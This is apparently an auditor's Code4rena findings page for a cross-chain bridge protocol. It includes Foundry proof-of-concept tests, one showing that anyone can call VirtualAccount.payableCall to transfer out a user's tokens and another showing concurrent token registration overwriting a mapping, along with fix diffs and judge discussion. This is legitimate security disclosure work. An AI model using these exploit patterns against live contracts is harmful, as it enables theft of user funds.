Platform: Code4rena
Start Date: 22/09/2023
Pot Size: $100,000 USDC
Total HM: 15
Participants: 175
Period: 14 days
Judge: alcueca
Total Solo HM: 4
Id: 287
League: ETH
Rank: 11/175
Findings: 4
Award: $1,654.47
š Selected for report: 1
š Solo Findings: 0
š Selected for report: 0xTheC0der
Also found by: 0x180db, 0xDING99YA, 0xRstStn, 0xTiwa, 0xWaitress, 0xblackskull, 0xfuje, 3docSec, Aamir, Black_Box_DD, HChang26, Hama, Inspecktor, John_Femi, Jorgect, Kek, KingNFT, Kow, Limbooo, MIQUINHO, MrPotatoMagic, NoTechBG, Noro, Pessimistic, QiuhaoLi, SovaSlava, SpicyMeatball, T1MOH, TangYuanShen, Vagner, Viktor_Cortess, Yanchuan, _eperezok, alexweb3, alexxander, ast3ros, ayden, bin2chen, blutorque, btk, ciphermarco, ether_sky, gumgumzum, gztttt, hals, imare, its_basu, joaovwfreire, josephdara, klau5, kodyvim, ladboy233, marqymarq10, mert_eren, minhtrng, n1punp, nobody2018, oada, orion, peakbolt, peritoflores, perseverancesuccess, pfapostol, rvierdiiev, stuxy, tank, unsafesol, ustas, windhustler, zambody, zzzitron
0.1127 USDC - $0.11
VirtualAccount
acts as a virtual account for the user and holds the user's assets.
The contract provides methods to use the assets, such as withdrawNative()
, withdrawERC20()
, call()
, payableCall()
and so on.
In order to ensure the security of assets, these methods are controlled by requiresApprovedCaller
to avoid being called illegally.
However, payableCall()
does not have a requiresApprovedCaller
modifier.
which allows anyone to call this method and use the user's assets, e.g. directly calling ERC20.transfer
to transfer out the token
The payableCall()
method is implemented as follows:
function payableCall(PayableCall[] calldata calls) public payable returns (bytes[] memory returnData) { ....
Anyone can steals assets from VirtualAccount
The following code demonstrates that anyone can transfer the token
stored in VirtualAccount
add to MulticallRootRouterTest.t.sol
function testPayableCallByAnyone() external{ //1. init token rewardToken.mint(userVirtualAccount,100e18); console2.log("userVirtualAccount balance(before):",rewardToken.balanceOf(userVirtualAccount)); //2. any call payableCall() to transfer out hevm.startPrank(address(0x10022)); PayableCall[] memory call = new PayableCall[](1); call[0] = PayableCall({ target:address(rewardToken), callData:abi.encodeWithSelector(rewardToken.transfer.selector,address(this),100e18), value:0 }); IVirtualAccount(userVirtualAccount).payableCall(call); hevm.stopPrank(); //3. show balance console2.log("userVirtualAccount balance(after):",rewardToken.balanceOf(userVirtualAccount)); }
$ forge test -vvv --match-test testPayableCallByAnyone [PASS] testPayableCallByAnyone() (gas: 76933) Logs: userVirtualAccount balance(before): 100000000000000000000 userVirtualAccount balance(after): 0
- function payableCall(PayableCall[] calldata calls) public payable returns (bytes[] memory returnData) { + function payableCall(PayableCall[] calldata calls) public payable requiresApprovedCaller returns (bytes[] memory returnData) { ....
Access Control
#0 - c4-pre-sort
2023-10-08T14:06:35Z
0xA5DF marked the issue as duplicate of #888
#1 - c4-pre-sort
2023-10-08T14:38:47Z
0xA5DF marked the issue as sufficient quality report
#2 - c4-judge
2023-10-26T11:29:42Z
alcueca marked the issue as satisfactory
1515.7501 USDC - $1,515.75
CoreBranchRouter.addGlobalToken()
is used to set the local token of chains.
when CoreBranchRouter.addGlobalToken(_dstChainId = ftm)
, will execute follow step:
Call sequence [root]->[branch]->[root], with asynchronous calls via layerzero. Since it is asynchronous, in the case of concurrency, the check in step [1.2] is invalid because step [3.2] is executed after a certain amount of time.
Consider the following scenarios
addGlobalToken(ftm)
through Steps [1] and [2], and generate `alice_LocalTokenAddress = 0x01addGlobalToken(ftm)
through Steps [1] and [2], and generate bob_LocalTokenAddress = 0x02
at the same time.So bob_LocalTokenAddress
will override alice_LocalTokenAddress
.
The main problem here is that the check in step [3.1] is wrong, because the local token is a regenerated address, so isLocalToken() is always flase.
It should be checking isGlobalToken(_globalAddress, _dstChainId))
function _setLocalToken(address _globalAddress, address _localAddress, uint16 _dstChainId) internal { // Verify if the token already added @> if (IPort(rootPortAddress).isLocalToken(_localAddress, _dstChainId)) revert TokenAlreadyAdded(); // Set the global token's new branch chain address IPort(rootPortAddress).setLocalAddress(_globalAddress, _localAddress, _dstChainId); }
In the case of concurrency, the second local token will overwrite the first local token. Before overwriting, the first local token is still valid, if someone exchanges the first local token, and waits until after overwriting, then the first local token will be invalidated, and the user will lose the corresponding token.
The following code demonstrates that with layerzero asynchronous and due to _setLocalToken()
error checking
may cause the second localToken to overwrite the first localToken
the layerzero call is simplified
add to CoreRootBridgeAgentTest.t.sol
function testAddGlobalTokenOverride() public { //1. new global token GasParams memory gasParams = GasParams(0, 0); arbitrumCoreRouter.addLocalToken(address(arbAssetToken), gasParams); newGlobalAddress = RootPort(rootPort).getLocalTokenFromUnderlying(address(arbAssetToken), rootChainId); console2.log("New Global Token Address: ", newGlobalAddress); //2.1 new first local token gasParams = GasParams(1 ether, 1 ether); GasParams[] memory remoteGas = new GasParams[](2); remoteGas[0] = GasParams(0.0001 ether, 0.00005 ether); remoteGas[1] = GasParams(0.0001 ether, 0.00005 ether); bytes memory data = abi.encode(ftmCoreBridgeAgentAddress, newGlobalAddress, ftmChainId,remoteGas); bytes memory packedData = abi.encodePacked(bytes1(0x01), data); encodeCallNoDeposit( payable(ftmCoreBridgeAgentAddress), payable(address(coreBridgeAgent)), chainNonce[ftmChainId]++, packedData, gasParams, ftmChainId ); //2.2 new second local token data = abi.encode(ftmCoreBridgeAgentAddress, newGlobalAddress, ftmChainId,remoteGas); packedData = abi.encodePacked(bytes1(0x01), data); encodeCallNoDeposit( payable(ftmCoreBridgeAgentAddress), payable(address(coreBridgeAgent)), chainNonce[ftmChainId]++, packedData, gasParams, ftmChainId ); //3.1 wait some time ,lz execute first local token address newLocalToken = address(0xFA111111); data = abi.encode(newGlobalAddress, newLocalToken, "UnderLocal Coin", "UL"); packedData = abi.encodePacked(bytes1(0x03), data); encodeSystemCall( payable(ftmCoreBridgeAgentAddress), payable(address(coreBridgeAgent)), chainNonce[ftmChainId]++, packedData, gasParams, ftmChainId ); //3.1.1 show first local token address address ftmLocalToken = RootPort(rootPort).getLocalTokenFromGlobal(newGlobalAddress,ftmChainId); console2.log("loal Token Address(first): ", ftmLocalToken); //3.2 wait some time ,lz execute second local token gasParams = GasParams(0.0001 ether, 0.00005 ether); newLocalToken = address(0xFA222222); data = abi.encode(newGlobalAddress, newLocalToken, "UnderLocal Coin", "UL"); packedData = abi.encodePacked(bytes1(0x03), data); encodeSystemCall( payable(ftmCoreBridgeAgentAddress), payable(address(coreBridgeAgent)), chainNonce[ftmChainId]++, packedData, gasParams, ftmChainId ); //3.2.1 show second local token address ftmLocalToken = RootPort(rootPort).getLocalTokenFromGlobal(newGlobalAddress,ftmChainId); console2.log("loal Token Address(override): ", ftmLocalToken); }
$ forge test -vvv --match-contract CoreRootBridgeAgentTest --match-test testAddGlobalTokenOverride [PASS] testAddGlobalTokenOverride() (gas: 1846078) Logs: New Global Token Address: 0x12Cd3f6571aF11e01137d294866C5fFd1369Bbe9 loal Token Address(first): 0x00000000000000000000000000000000Fa111111 loal Token Address(override): 0x00000000000000000000000000000000fA222222
check isGlobalToken()
replace check isLocalToken()
function _setLocalToken(address _globalAddress, address _localAddress, uint16 _dstChainId) internal { // Verify if the token already added - if (IPort(rootPortAddress).isLocalToken(_localAddress, _dstChainId)) revert TokenAlreadyAdded(); + if (IPort(rootPortAddress).isGlobalToken(_globalAddress, _dstChainId)) { + revert TokenAlreadyAdded(); + } // Set the global token's new branch chain address IPort(rootPortAddress).setLocalAddress(_globalAddress, _localAddress, _dstChainId); }
Context
#0 - c4-pre-sort
2023-10-14T12:07:01Z
0xA5DF marked the issue as duplicate of #822
#1 - c4-pre-sort
2023-10-14T12:07:05Z
0xA5DF marked the issue as sufficient quality report
#2 - c4-judge
2023-10-26T08:28:22Z
alcueca changed the severity to QA (Quality Assurance)
#3 - c4-judge
2023-10-26T08:31:15Z
This previously downgraded issue has been upgraded by alcueca
#4 - c4-judge
2023-10-26T08:31:23Z
alcueca marked the issue as not a duplicate
#5 - alcueca
2023-10-26T11:19:25Z
From the sponsor:
[What the submission] is saying has no impact on users in any way since there is no way to acquire the asset on the origin branch before token addition execution is confirmed on root, it would simply revert and the user would be able to redeem the deposited assets. In addition, the issue seems to revolve around the misuse of this function IPort(rootPortAddress).isLocalToken(_localAddress, _dstChainId)) in _setLocalToken but this is intended so as to prevent overwriting this mapping after it already being added. Furthermore, the suggested funciton IPort(rootPortAddress).isGlobalToken(_globalAddress, _dstChainId)) is always updated in tandem with the one currently being used so it's the same thing as doing the checks we currently have in place.
#6 - c4-judge
2023-10-26T11:19:32Z
alcueca marked the issue as unsatisfactory: Invalid
#7 - bin2chen66
2023-10-31T00:53:30Z
@alcueca
since there is no way to acquire the asset on the origin branch before token addition execution is confirmed on root
Is it possible to look again? both will be confirmed at root.
Please see poc's "3.1.1 show first local token address"
The address has been printed out from root
Logs: New Global Token Address: 0x12Cd3f6571aF11e01137d294866C5fFd1369Bbe9 loal Token Address(first): 0x00000000000000000000000000000000Fa111111 loal Token Address(override): 0x00000000000000000000000000000000fA222222
#8 - bin2chen66
2023-10-31T01:31:24Z
The problem describes that both addGlobalToken()
all work.
The second addGlobalToken()
overrides the first.
Since these operations are asynchronous (cross-chain), the first step check can be skipped.
Because the third step incorrectly uses isLocalToken()
to check for legitimacy, the override becomes possible.
Please look again, thanks
#9 - zhaojio
2023-10-31T03:49:25Z
I checked the code for this place, but I didn't find this issue. I think it should be a Med.
#10 - alcueca
2023-11-04T05:48:46Z
I explained the issue more clearly to the sponsor, and is now confirmed:
Really apologize for my misunderstanding, I was not interpreting the issue correctly, seems that during the time between _addGlobalToken and _setLocalToken multiple tokens can be requested, although this is to be expected, only the last one created from these requests will be retained in the system instead of the first one.
Due to this, during the time period between the first _setLocalToken execution and the last, the submission of bridgeOut requests would lead to the loss of the deposited tokens. Although this is a very specific time frame to be possible (the 2 layer zero hops in question), it is a very important situation to be addressed as someone could loose access to their tokens under these circumstances.
#11 - c4-judge
2023-11-04T05:53:18Z
alcueca marked the issue as satisfactory
#12 - c4-judge
2023-11-04T05:53:32Z
alcueca marked the issue as selected for report
#13 - c4-judge
2023-11-04T05:53:39Z
alcueca marked the issue as primary issue
#14 - 0xBugsy
2023-11-12T17:57:54Z
š Selected for report: kodyvim
Also found by: 0xnev, Kow, QiuhaoLi, SpicyMeatball, ast3ros, ayden, bin2chen, chaduke, jasonxiale, minhtrng, nobody2018
112.9294 USDC - $112.93
The router
can convert globalToken
to undelyingToken
by RootBridgeAgent.callOutAndBridgeMultiple()
Since this is a cross-chain operation, we can specify _hasFallbackToggled=true
If the execution fails, it is automatically marked as STATUS_RETRIEVE
, and the user can then retrieve the globalToken
via redeemSettlement()
.
According to the current protocol implementation, this means that _payload[0]=0x02
becomes 0x82
, which means _hasFallbackToggled = true
.
But the current _createSettlementMultiple()
implementation is wrong
Using _hasFallbackToggled ? bytes1(0x02) & 0x0F : bytes1(0x02),
bytes1(0x02) & 0x0F
is not equivalent to 0x82
.
function _createSettlementMultiple( uint32 _settlementNonce, address payable _refundee, address _recipient, uint16 _dstChainId, address[] memory _globalAddresses, uint256[] memory _amounts, uint256[] memory _deposits, bytes memory _params, bool _hasFallbackToggled ) internal returns (bytes memory _payload) { ... _payload = abi.encodePacked( @> _hasFallbackToggled ? bytes1(0x02) & 0x0F : bytes1(0x02), _recipient, uint8(hTokens.length), _settlementNonce, hTokens, tokens, _amounts, _deposits, _params ); // Create and Save Settlement // Get storage reference Settlement storage settlement = getSettlement[_settlementNonce]; // Update Setttlement settlement.owner = _refundee; settlement.recipient = _recipient; settlement.hTokens = hTokens; settlement.tokens = tokens; settlement.amounts = _amounts; settlement.deposits = _deposits; settlement.dstChainId = _dstChainId; settlement.status = STATUS_SUCCESS; }
does not meet the expectations of users, malfunction
can't execute callOutAndBridgeMultiple(_hasFallbackToggled = true)
ļ¼ will revert UnknownFlag()
The following demonstrates whether bytes1(0x02) & 0x0F
are equal or not
$ chisel ā bytes1(0x02) & 0x0F == 0x82 Type: bool ā Value: false ā
function _createSettlementMultiple( uint32 _settlementNonce, address payable _refundee, address _recipient, uint16 _dstChainId, address[] memory _globalAddresses, uint256[] memory _amounts, uint256[] memory _deposits, bytes memory _params, bool _hasFallbackToggled ) internal returns (bytes memory _payload) { ... _payload = abi.encodePacked( - _hasFallbackToggled ? bytes1(0x02) & 0x0F : bytes1(0x02), + _hasFallbackToggled ? bytes1(0x82) : bytes1(0x02), _recipient, uint8(hTokens.length), _settlementNonce, hTokens, tokens, _amounts, _deposits, _params ); // Create and Save Settlement // Get storage reference Settlement storage settlement = getSettlement[_settlementNonce]; // Update Setttlement settlement.owner = _refundee; settlement.recipient = _recipient; settlement.hTokens = hTokens; settlement.tokens = tokens; settlement.amounts = _amounts; settlement.deposits = _deposits; settlement.dstChainId = _dstChainId; settlement.status = STATUS_SUCCESS; }
Context
#0 - c4-pre-sort
2023-10-08T05:14:40Z
0xA5DF marked the issue as duplicate of #882
#1 - c4-pre-sort
2023-10-08T14:49:55Z
0xA5DF marked the issue as sufficient quality report
#2 - c4-judge
2023-10-25T10:01:34Z
alcueca marked the issue as satisfactory
š Selected for report: MrPotatoMagic
Also found by: 0xAadi, 0xDING99YA, 0xDemon, 0xRstStn, 0xSmartContract, 0xStriker, 0xWaitress, 0xbrett8571, 0xfuje, 0xsagetony, 0xsurena, 33BYTEZZZ, 3docSec, 7ashraf, ABA, ABAIKUNANBAEV, Aamir, Audinarey, Bauchibred, Black_Box_DD, Daniel526, DanielArmstrong, DanielTan_MetaTrust, Dinesh11G, Eurovickk, Franklin, Inspecktor, John, Jorgect, Joshuajee, K42, Kek, Koolex, LokiThe5th, MIQUINHO, Myd, NoTechBG, QiuhaoLi, SanketKogekar, Sathish9098, Sentry, Soul22, SovaSlava, Stormreckson, Tendency, Topmark, Udsen, V1235816, Viktor_Cortess, Viraz, Yanchuan, ZdravkoHr, Zims, albahaca, albertwh1te, alexweb3, alexxander, ast3ros, audityourcontracts, bareli, bin2chen, bronze_pickaxe, c0pp3rscr3w3r, cartlex_, castle_chain, chaduke, debo, ether_sky, gumgumzum, imare, its_basu, jaraxxus, jasonxiale, josephdara, kodyvim, ladboy233, lanrebayode77, lsaudit, mert_eren, minhtrng, n1punp, nadin, niroh, nmirchev8, orion, peakbolt, perseverancesuccess, pfapostol, ptsanev, rvierdiiev, saneryee, shaflow2, te_aut, terrancrypt, twcctop, unsafesol, ustas, versiyonbir, windhustler, yongskiws, zhaojie, ziyou-
25.6785 USDC - $25.68
Label | Description |
---|---|
L-01 | payableCall don't support target is EOAs |
L-02 | addBridgeAgentFactory bridgeAgentFactories may be duplicated |
L-03 | VirtualAccount miss supportsInterface |
L-04 | BranchBridgeAgent.lzReceiveNonBlocking() lock of check _srcChainId == rootChainId |
The payableCall()
can be used to execute the code and transfer eth to the target
.
Currently, it determines if the target
is a contract, but if it's not, it fails.
This doesn't support one case, transferring eth to EOAs.
Suggest removing the restriction to determine the contract
function payableCall(PayableCall[] calldata calls) public payable returns (bytes[] memory returnData) { uint256 valAccumulator; uint256 length = calls.length; returnData = new bytes[](length); PayableCall calldata _call; for (uint256 i = 0; i < length;) { _call = calls[i]; uint256 val = _call.value; // Humanity will be a Type V Kardashev Civilization before this overflows - andreas // ~ 10^25 Wei in existence << ~ 10^76 size uint fits in a uint256 unchecked { valAccumulator += val; } bool success; - if (isContract(_call.target)) (success, returnData[i]) = _call.target.call{value: val}(_call.callData); + success, returnData[i] = _call.target.call{value: val}(_call.callData);
addBridgeAgentFactory()
executes bridgeAgentFactories.push(_newBridgeAgentFactory);
every time
But disabling BridgeAgentFactory
via toggleBridgeAgentFactory()
does not remove the factory
.
This way when factory
if disabled by enable
-> disable
-> enable
, bridgeAgentFactories will have duplicate factory
s
Delete array elements after disable
.
Currently VirtualAccount
supports ERC721, but does not implement supportsInterface()
, in order to better integrate with third parties, it is recommended to implement this method.
contract VirtualAccount is IVirtualAccount, ERC1155Receiver { ... + function supportsInterface(bytes4 interfaceId) public view virtual override(ERC1155Receiver) returns (bool) { + return interfaceId == type(IERC721Receiver).interfaceId || super.supportsInterface(interfaceId); + }
_srcChainId == rootChainId
Currently BranchBridgeAgent._requiresEndpoint()
is used to determine the illegality of the source
function _requiresEndpoint(address _endpoint, bytes calldata _srcAddress) internal view virtual { //Verify Endpoint if (msg.sender != address(this)) revert LayerZeroUnauthorizedEndpoint(); if (_endpoint != lzEndpointAddress) revert LayerZeroUnauthorizedEndpoint(); //Verify Remote Caller if (_srcAddress.length != 40) revert LayerZeroUnauthorizedCaller(); if (rootBridgeAgentAddress != address(uint160(bytes20(_srcAddress[20:])))) revert LayerZeroUnauthorizedCaller(); }
We know from the above code that currently it only determines whether rootBridgeAgentAddress
is legitimate or not, and does not determine whether the _srcChainId
of the source is equal to rootChainId
or not.
If the deployed code can be replayed to generate the same rootBridgeAgentAddress
address in different chains, then it can be manipulated and other chains can put information to this BranchBridgeAgent
as well
Suggest to add _srcChainId == rootChainId
.
#0 - c4-pre-sort
2023-10-15T12:37:57Z
0xA5DF marked the issue as sufficient quality report
#1 - c4-judge
2023-10-20T13:53:18Z
alcueca marked the issue as grade-a